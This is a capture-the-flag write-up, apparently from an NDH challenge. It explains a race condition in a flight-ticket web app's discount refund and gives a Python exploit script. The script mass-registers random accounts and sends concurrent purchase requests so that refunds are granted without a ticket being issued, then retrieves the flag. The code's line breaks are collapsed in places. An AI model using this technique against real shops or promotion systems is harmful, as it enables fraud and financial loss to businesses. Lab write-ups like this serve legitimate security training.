# Exploit
## Description
The goal of this challenge to achieve a race condition. Indeed, the application allows you to buy flight tickets, if you have never bought a ticket you have the right to discounted tickets where 50% of the price will be refunded.The race condition is during the ticket purchase process.
## Exploitation Method
In order to win the race condition, it is necessary to buy at the same time the promotional ticket that interests us (here the one to go to Dubai because 50% of its price + our 1000 miles will allow us to buy the ticket for Las Vegas).So we have to create a large number of users (more than the number of tickets available) then launch a purchase request at the same time, some of the users will enter in the purchase process, receive the promotion but can not buy a ticket because there will be no more tickets available.Users who have won the race will have a balance of 1450 miles and can buy the ticket for Las Vegas.
## Exploitation script
```# coding: utf-8
from threading import Threadimport requestsimport stringfrom random import *import sysimport reimport time
allchar = string.ascii_letters + string.digits
class monThread(Thread):
    ###    ### Initiation d'un thread avec création d'un utilisateur unique puis connexion pour obtenir un cookie valide    ###    def __init__(self, ip, port):        Thread.__init__(self)        self.username ="".join(choice(allchar) for x in range(randint(8, 12)))        self.password = "".join(choice(allchar) for x in range(randint(8, 12)))        self.target_url = "http://" + ip + ":"  + str(port) + "/"        r1 = requests.post(self.target_url + "register.php", data = {"rUsername":self.username, "rPassword":self.password, "rPassword2":self.password})        r2 = requests.get(self.target_url)        rCookie = requests.utils.dict_from_cookiejar(r2.cookies)        self.cookie = rCookie.get(rCookie.keys()[0])        r3 = requests.post(self.target_url + "login.php", data = {"username":self.username, "password":self.password}, cookies = {"PHPSESSID":self.cookie})
    ###    ### On achète le billet 12 (car en promo à 900 donc +450 miles si race condition ok)    ###    def run(self):        r4 = requests.post(self.target_url + "myairline/buy_ticket.php", cookies = {"PHPSESSID":self.cookie}, data = {"idFlightPost":12})
    def getMilesIfCanFlag(self):        r5 = requests.get(self.target_url + "myairline/", cookies = {"PHPSESSID":self.cookie})        regex = r".*Balance : (.*) Miles"        strPage = r5.text        match = re.search(regex, strPage)        self.miles_account = match.group(1)
        if(int(self.miles_account) > 1400):            return 1        return 0
    def getFlag(self):        r7 = requests.post(self.target_url + "myairline/buy_ticket.php", cookies = {"PHPSESSID":self.cookie}, data = {"idFlightPost":7})        r6 = requests.get(self.target_url + "myairline/mytickets.php", cookies = {"PHPSESSID":self.cookie})        regex = r".*NDH{(.*)}"
        strPage = r6.text        match = re.search(regex, strPage)
        return match.group(1)
    def getUsername(self):        return self.username
    def getPassword(self):        return self.password
def progress(count, total, status=''):    bar_len = 60    filled_len = int(round(bar_len * count / float(total)))
    percents = round(100.0 * count / float(total), 1)    bar = '=' * filled_len + '-' * (bar_len - filled_len)
    sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percents, '%', status))    sys.stdout.flush()
def main(ip, port):    listThread = []    nThreads = 300    print "\n"    print "###########################"    print "User creation in process..."
    for i in range(1, nThreads):        thread = monThread(ip, port)        listThread.append(thread)        progress(i+1, nThreads)
    print ""    print "Done !"    print "###########################"    print ""    print "###########################"    print "All threads are trying to buy the discounted ticket for Dubai worth 900 miles \nin order to cause a race condition and get the promotion (450 miles) without buying the ticket..."    for i in range(0, nThreads-1):        listThread[i].start()
    j = 0    flag = ""    username = ""    password = ""    cptWinner = 0    for i in range(0, nThreads-1):        if(listThread[i].getMilesIfCanFlag()):            if(j == 0):                flag = listThread[i].getFlag()                username = listThread[i].getUsername()                password = listThread[i].getPassword()            j += 1            cptWinner += 1
        listThread[i].join()
    print ""    print str(cptWinner) + " account(s) won the race!"    print ""
    if flag != "":        print "Using the first one to get the flag..."        print "Username : " + username        print "Password : " + password        print "Flag is : NDH{" + flag + "}"    else:        print "Cannot get the flag :("
    print "###########################"
if __name__ == '__main__':    print "______                ___              _           _ _____ _         ___  ___           _     _            "    print "| ___ \              / _ \            (_)         | |_   _| |        |  \/  |          | |   (_)           "    print "| |_/ /__ _  ___ ___/ /_\ \ __ _  __ _ _ _ __  ___| |_| | | |__   ___| .  . | __ _  ___| |__  _ _ __   ___ "    print "|    // _` |/ __/ _ \  _  |/ _` |/ _` | | '_ \/ __| __| | | '_ \ / _ \ |\/| |/ _` |/ __| '_ \| | '_ \ / _ \\"    print "| |\ \ (_| | (_|  __/ | | | (_| | (_| | | | | \__ \ |_| | | | | |  __/ |  | | (_| | (__| | | | | | | |  __/"    print "\_| \_\__,_|\___\___\_| |_/\__, |\__,_|_|_| |_|___/\__\_/ |_| |_|\___\_|  |_/\__,_|\___|_| |_|_|_| |_|\___|"    print "                            __/ |                                                                          "    print "                           |___/                                                                           "
    if(len(sys.argv) >= 2 ):        main(sys.argv[1], sys.argv[2])    else:        print ''        print 'Usage: exploit.py IP PORT'
```